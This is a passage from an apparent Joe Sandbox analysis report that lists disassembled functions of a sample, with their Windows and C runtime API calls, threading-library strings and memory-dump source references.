          • Part of subcall function 004E3E80: GetLastError.KERNEL32 ref: 004E3E8B
          • Part of subcall function 004E3E80: SetLastError.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,004D6326), ref: 004E3ECC
          • Part of subcall function 004E3E80: realloc.MSVCRT ref: 004E3EF4
          • Part of subcall function 004E3E80: realloc.MSVCRT ref: 004E3F0F
          • Part of subcall function 004E3E80: memset.MSVCRT ref: 004E3F40
          • Part of subcall function 004E3E80: memset.MSVCRT ref: 004E3F5F
        • malloc.MSVCRT ref: 004D6344
        • memcpy.MSVCRT ref: 004D636C
        • realloc.MSVCRT ref: 004D639E
        • memset.MSVCRT ref: 004D63CB
        • malloc.MSVCRT ref: 004D63FB
        • memset.MSVCRT ref: 004D644B
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004320D0, Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 254
        APIs
        • strlen.MSVCRT ref: 00432248
          • Part of subcall function 00431FB0: memcpy.MSVCRT ref: 004320B7
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 0043E370, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 233
        APIs
          • Part of subcall function 00416CD0: memcpy.MSVCRT ref: 00416D3E
          • Part of subcall function 00416CD0: strlen.MSVCRT ref: 00416D6D
          • Part of subcall function 00416CD0: memcpy.MSVCRT ref: 00416DA9
          • Part of subcall function 00416CD0: strlen.MSVCRT ref: 00416DC2
          • Part of subcall function 00416CD0: memcpy.MSVCRT ref: 00416DFD
        • isspace.MSVCRT ref: 0043E53B
        • isspace.MSVCRT ref: 0043E575
        • isspace.MSVCRT ref: 0043E5A1
        • isspace.MSVCRT ref: 0043E5C3
        • tolower.MSVCRT ref: 0043E629
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00464539, Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 213
        APIs
        • memcmp.MSVCRT ref: 0046466B
        • memcmp.MSVCRT ref: 00464687
        • memcmp.MSVCRT ref: 004646A3
        • memcmp.MSVCRT ref: 004646F3
          • Part of subcall function 00433BA0: qsort.MSVCRT ref: 00433BD2
          • Part of subcall function 00463CE0: memcmp.MSVCRT ref: 00463E83
          • Part of subcall function 00463CE0: memcmp.MSVCRT ref: 00463EA3
          • Part of subcall function 00463CE0: memcmp.MSVCRT ref: 00463EBF
          • Part of subcall function 00463CE0: memcmp.MSVCRT ref: 00463F13
          • Part of subcall function 00463CE0: memcmp.MSVCRT ref: 00463F95
          • Part of subcall function 00413910: raise.MSVCRT ref: 0041393E
          • Part of subcall function 00413910: _exit.MSVCRT ref: 0041394A
        • memcmp.MSVCRT ref: 00464845
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00448C90, Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 167
        APIs
        • strlen.MSVCRT ref: 00448CB7
        • strlen.MSVCRT ref: 00448D57
          • Part of subcall function 0049A3B0: memcpy.MSVCRT ref: 0049A46B
          • Part of subcall function 0049A3B0: memcpy.MSVCRT ref: 0049A51C
          • Part of subcall function 0049A3B0: memcpy.MSVCRT ref: 0049A542
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004064C0, Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 105
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004300C0, Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 70
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E4090, Relevance: 10.6, APIs: 7, Instructions: 69
        APIs
          • Part of subcall function 004E32D0: TlsGetValue.KERNEL32 ref: 004E32ED
          • Part of subcall function 004E32D0: GetCurrentThreadId.KERNEL32 ref: 004E332B
          • Part of subcall function 004E32D0: CreateEventA.KERNEL32(?,?,?,?,?,?,?,00000000,00000004,004E3B61), ref: 004E3353
          • Part of subcall function 004E32D0: GetCurrentProcess.KERNEL32 ref: 004E3382
          • Part of subcall function 004E32D0: GetCurrentThread.KERNEL32 ref: 004E3386
          • Part of subcall function 004E32D0: GetCurrentProcess.KERNEL32 ref: 004E338E
          • Part of subcall function 004E32D0: DuplicateHandle.KERNEL32 ref: 004E33BA
          • Part of subcall function 004E32D0: GetThreadPriority.KERNEL32 ref: 004E33CD
          • Part of subcall function 004E32D0: TlsSetValue.KERNEL32 ref: 004E33F9
          • Part of subcall function 004E32D0: abort.MSVCRT ref: 004E340D
        • longjmp.MSVCRT ref: 004E40C1
        • TlsGetValue.KERNEL32(?,?,?,0000001C,004E426A,?,?,?,?,00000000,004E4352), ref: 004E40CE
        • CloseHandle.KERNEL32 ref: 004E40F5
        • _endthreadex.MSVCRT(?,?,?,?,0000001C,004E426A,?,?,?,?,00000000,004E4352), ref: 004E410C
        • CloseHandle.KERNEL32 ref: 004E4125
        • TlsSetValue.KERNEL32 ref: 004E414C
        • CloseHandle.KERNEL32 ref: 004E4166
          • Part of subcall function 004E2F90: free.MSVCRT(?,?,?,?,00000000,?,0021F85E,00000001,004E4187), ref: 004E2FBD
          • Part of subcall function 004E2F90: free.MSVCRT(?,?,?,?,00000000,?,0021F85E,00000001,004E4187), ref: 004E2FCC
          • Part of subcall function 004E2F90: free.MSVCRT(?,?,?,?,00000000,?,0021F85E,00000001,004E4187), ref: 004E2FDB
          • Part of subcall function 004E2F90: free.MSVCRT(?,?,?,?,00000000,?,0021F85E,00000001,004E4187), ref: 004E30AB
          • Part of subcall function 004E2F90: memmove.MSVCRT ref: 004E30EB
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E5370, Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 34
        APIs
        Strings
        • Assertion failed: (%s), file %s, line %d, xrefs: 004E53CF
        • (, xrefs: 004E53B7
        • (((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0), xrefs: 004E53C7
        • ../mingw-w64/mingw-w64-libraries/winpthreads/src/rwlock.c, xrefs: 004E53BF
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 0040AB60, Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 315
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00448F80, Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 303
        APIs
        • strlen.MSVCRT ref: 00449186
          • Part of subcall function 004485A0: strlen.MSVCRT ref: 004485FD
          • Part of subcall function 00413910: raise.MSVCRT ref: 0041393E
          • Part of subcall function 00413910: _exit.MSVCRT ref: 0041394A
          • Part of subcall function 00407060: memcpy.MSVCRT ref: 0040712F
          • Part of subcall function 00407060: memcpy.MSVCRT ref: 004071EB
          • Part of subcall function 00407060: memcpy.MSVCRT ref: 00407222
          • Part of subcall function 00448C90: strlen.MSVCRT ref: 00448CB7
          • Part of subcall function 00448C90: strlen.MSVCRT ref: 00448D57
          • Part of subcall function 004483C0: strlen.MSVCRT ref: 004483DE
          • Part of subcall function 004483C0: memcpy.MSVCRT ref: 004483F7
          • Part of subcall function 004483C0: memset.MSVCRT ref: 0044848C
          • Part of subcall function 004483C0: strlen.MSVCRT ref: 004484A3
          • Part of subcall function 004483C0: fprintf.MSVCRT ref: 004484CE
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00459710, Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 138
        APIs
        • strlen.MSVCRT ref: 0045993A
          • Part of subcall function 0040C4B0: memcpy.MSVCRT ref: 0040C519
          • Part of subcall function 0040C4B0: strlen.MSVCRT ref: 0040C567
        • strlen.MSVCRT ref: 004598B7
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 0045D2E9, Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 136
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00438D40, Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 133
        APIs
        • strlen.MSVCRT ref: 00438EF4
          • Part of subcall function 00430510: strlen.MSVCRT ref: 00430554
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E2510, Relevance: 9.1, APIs: 6, Instructions: 103
        APIs
          • Part of subcall function 004E24A0: malloc.MSVCRT ref: 004E24B0
          • Part of subcall function 004E24A0: free.MSVCRT(?,?,?,?,004E254A,?,?,?,?,?,?,004E7324,?,?,?,005704F9), ref: 004E24F1
        • GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E7324,?,?,?,005704F9), ref: 004E2560
        • WaitForSingleObject.KERNEL32 ref: 004E25A2
        • GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,004E7324,?,?,?,005704F9,?,?,?,?,00000001), ref: 004E25C5
        • CreateEventA.KERNEL32 ref: 004E260F
        • CloseHandle.KERNEL32 ref: 004E262E
        • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E7324,?,?,?,005704F9), ref: 004E263C
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E2F90, Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95
        APIs
          • Part of subcall function 004E2510: GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E7324,?,?,?,005704F9), ref: 004E2560
          • Part of subcall function 004E2510: WaitForSingleObject.KERNEL32 ref: 004E25A2
          • Part of subcall function 004E2510: GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,004E7324,?,?,?,005704F9,?,?,?,?,00000001), ref: 004E25C5
          • Part of subcall function 004E2510: CreateEventA.KERNEL32 ref: 004E260F
          • Part of subcall function 004E2510: CloseHandle.KERNEL32 ref: 004E262E
          • Part of subcall function 004E2510: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E7324,?,?,?,005704F9), ref: 004E263C
        • free.MSVCRT(?,?,?,?,00000000,?,778E7310,00000001,004E4187), ref: 004E2FBD
        • free.MSVCRT(?,?,?,?,00000000,?,778E7310,00000001,004E4187), ref: 004E2FCC
        • free.MSVCRT(?,?,?,?,00000000,?,778E7310,00000001,004E4187), ref: 004E2FDB
          • Part of subcall function 004E2810: GetCurrentThreadId.KERNEL32 ref: 004E2867
          • Part of subcall function 004E2810: SetEvent.KERNEL32 ref: 004E2896
        • free.MSVCRT(?,?,?,?,00000000,?,778E7310,00000001,004E4187), ref: 004E30AB
        • memmove.MSVCRT ref: 004E30EB
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 004301C0, Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 86
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E3E80, Relevance: 9.1, APIs: 6, Instructions: 83
        APIs
        • GetLastError.KERNEL32 ref: 004E3E8B
          • Part of subcall function 004E32D0: TlsGetValue.KERNEL32 ref: 004E32ED
          • Part of subcall function 004E32D0: GetCurrentThreadId.KERNEL32 ref: 004E332B
          • Part of subcall function 004E32D0: CreateEventA.KERNEL32(?,?,?,?,?,?,?,00000000,00000004,004E3B61), ref: 004E3353
          • Part of subcall function 004E32D0: GetCurrentProcess.KERNEL32 ref: 004E3382
          • Part of subcall function 004E32D0: GetCurrentThread.KERNEL32 ref: 004E3386
          • Part of subcall function 004E32D0: GetCurrentProcess.KERNEL32 ref: 004E338E
          • Part of subcall function 004E32D0: DuplicateHandle.KERNEL32 ref: 004E33BA
          • Part of subcall function 004E32D0: GetThreadPriority.KERNEL32 ref: 004E33CD
          • Part of subcall function 004E32D0: TlsSetValue.KERNEL32 ref: 004E33F9
          • Part of subcall function 004E32D0: abort.MSVCRT ref: 004E340D
        • SetLastError.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,004D6326), ref: 004E3ECC
        • realloc.MSVCRT ref: 004E3EF4
        • realloc.MSVCRT ref: 004E3F0F
        • memset.MSVCRT ref: 004E3F40
        • memset.MSVCRT ref: 004E3F5F
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E3AC0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 198
        APIs
          • Part of subcall function 004E2C10: calloc.MSVCRT ref: 004E2C50
          • Part of subcall function 004E2C10: calloc.MSVCRT ref: 004E2CA8
          • Part of subcall function 004E2510: GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E7324,?,?,?,005704F9), ref: 004E2560
          • Part of subcall function 004E2510: WaitForSingleObject.KERNEL32 ref: 004E25A2
          • Part of subcall function 004E2510: GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,004E7324,?,?,?,005704F9,?,?,?,?,00000001), ref: 004E25C5
          • Part of subcall function 004E2510: CreateEventA.KERNEL32 ref: 004E260F
          • Part of subcall function 004E2510: CloseHandle.KERNEL32 ref: 004E262E
          • Part of subcall function 004E2510: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E7324,?,?,?,005704F9), ref: 004E263C
        • fprintf.MSVCRT ref: 004E3B12
        • memset.MSVCRT ref: 004E3CF3
          • Part of subcall function 004E2810: GetCurrentThreadId.KERNEL32 ref: 004E2867
          • Part of subcall function 004E2810: SetEvent.KERNEL32 ref: 004E2896
          • Part of subcall function 004E2CC0: free.MSVCRT(?,?,00000000,00000004,004E32AD), ref: 004E2D38
          • Part of subcall function 004E2CC0: fprintf.MSVCRT ref: 004E2D5C
          • Part of subcall function 004E32D0: TlsGetValue.KERNEL32 ref: 004E32ED
          • Part of subcall function 004E32D0: GetCurrentThreadId.KERNEL32 ref: 004E332B
          • Part of subcall function 004E32D0: CreateEventA.KERNEL32(?,?,?,?,?,?,?,00000000,00000004,004E3B61), ref: 004E3353
          • Part of subcall function 004E32D0: GetCurrentProcess.KERNEL32 ref: 004E3382
          • Part of subcall function 004E32D0: GetCurrentThread.KERNEL32 ref: 004E3386
          • Part of subcall function 004E32D0: GetCurrentProcess.KERNEL32 ref: 004E338E
          • Part of subcall function 004E32D0: DuplicateHandle.KERNEL32 ref: 004E33BA
          • Part of subcall function 004E32D0: GetThreadPriority.KERNEL32 ref: 004E33CD
          • Part of subcall function 004E32D0: TlsSetValue.KERNEL32 ref: 004E33F9
          • Part of subcall function 004E32D0: abort.MSVCRT ref: 004E340D
        • realloc.MSVCRT ref: 004E3CC9
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00405FC0, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 131
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004060F9, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 54
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E31B0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50
        APIs
        Strings
        • Error cleaning up spin_keys for thread , xrefs: 004E31DB
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004163A0, Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 264
        APIs
          • Part of subcall function 00425FC0: memset.MSVCRT ref: 00426089
        • strlen.MSVCRT ref: 004164F1
        • strlen.MSVCRT ref: 0041662C
        • strlen.MSVCRT ref: 004166B9
          • Part of subcall function 00430510: strlen.MSVCRT ref: 00430554
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00407060, Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 162
        APIs
        • memcpy.MSVCRT ref: 0040712F
          • Part of subcall function 00413910: raise.MSVCRT ref: 0041393E
          • Part of subcall function 00413910: _exit.MSVCRT ref: 0041394A
        • memcpy.MSVCRT ref: 004071EB
        • memcpy.MSVCRT ref: 00407222
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00476980, Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 160
        APIs
        • memcpy.MSVCRT ref: 00476A0A
        • memset.MSVCRT ref: 00476A34
          • Part of subcall function 00413910: raise.MSVCRT ref: 0041393E
          • Part of subcall function 00413910: _exit.MSVCRT ref: 0041394A
          • Part of subcall function 00436470: memcpy.MSVCRT ref: 00436504
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00455A30, Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 146
        APIs
        • strlen.MSVCRT ref: 00455A85
          • Part of subcall function 004558F0: memcmp.MSVCRT ref: 00455940
        Strings
        Memory Dump Source
        • Source File: 00000005.00000002.557401570.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000002.557391743.00400000.00000002.sdmp
        • Associated: 00000005.00000002.557446489.00578000.00000004.sdmp
        • Associated: 00000005.00000002.557455791.0057B000.00000002.sdmp
        • Associated: 00000005.00000002.557480064.0061B000.00000004.sdmp
        • Associated: 00000005.00000002.557493260.00620000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_2_400000_sync.jbxd
        Function 0049A3B0, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 128
        APIs
        • memcpy.MSVCRT ref: 0049A46B
          • Part of subcall function 00413910: raise.MSVCRT ref: 0041393E
          • Part of subcall function 00413910: _exit.MSVCRT ref: 0041394A
        • memcpy.MSVCRT ref: 0049A51C
        • memcpy.MSVCRT ref: 0049A542
        Strings
        • ctx->length <= (int)sizeof(ctx->enc_data), xrefs: 0049A4D0
        • encode.c, xrefs: 0049A4E0
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
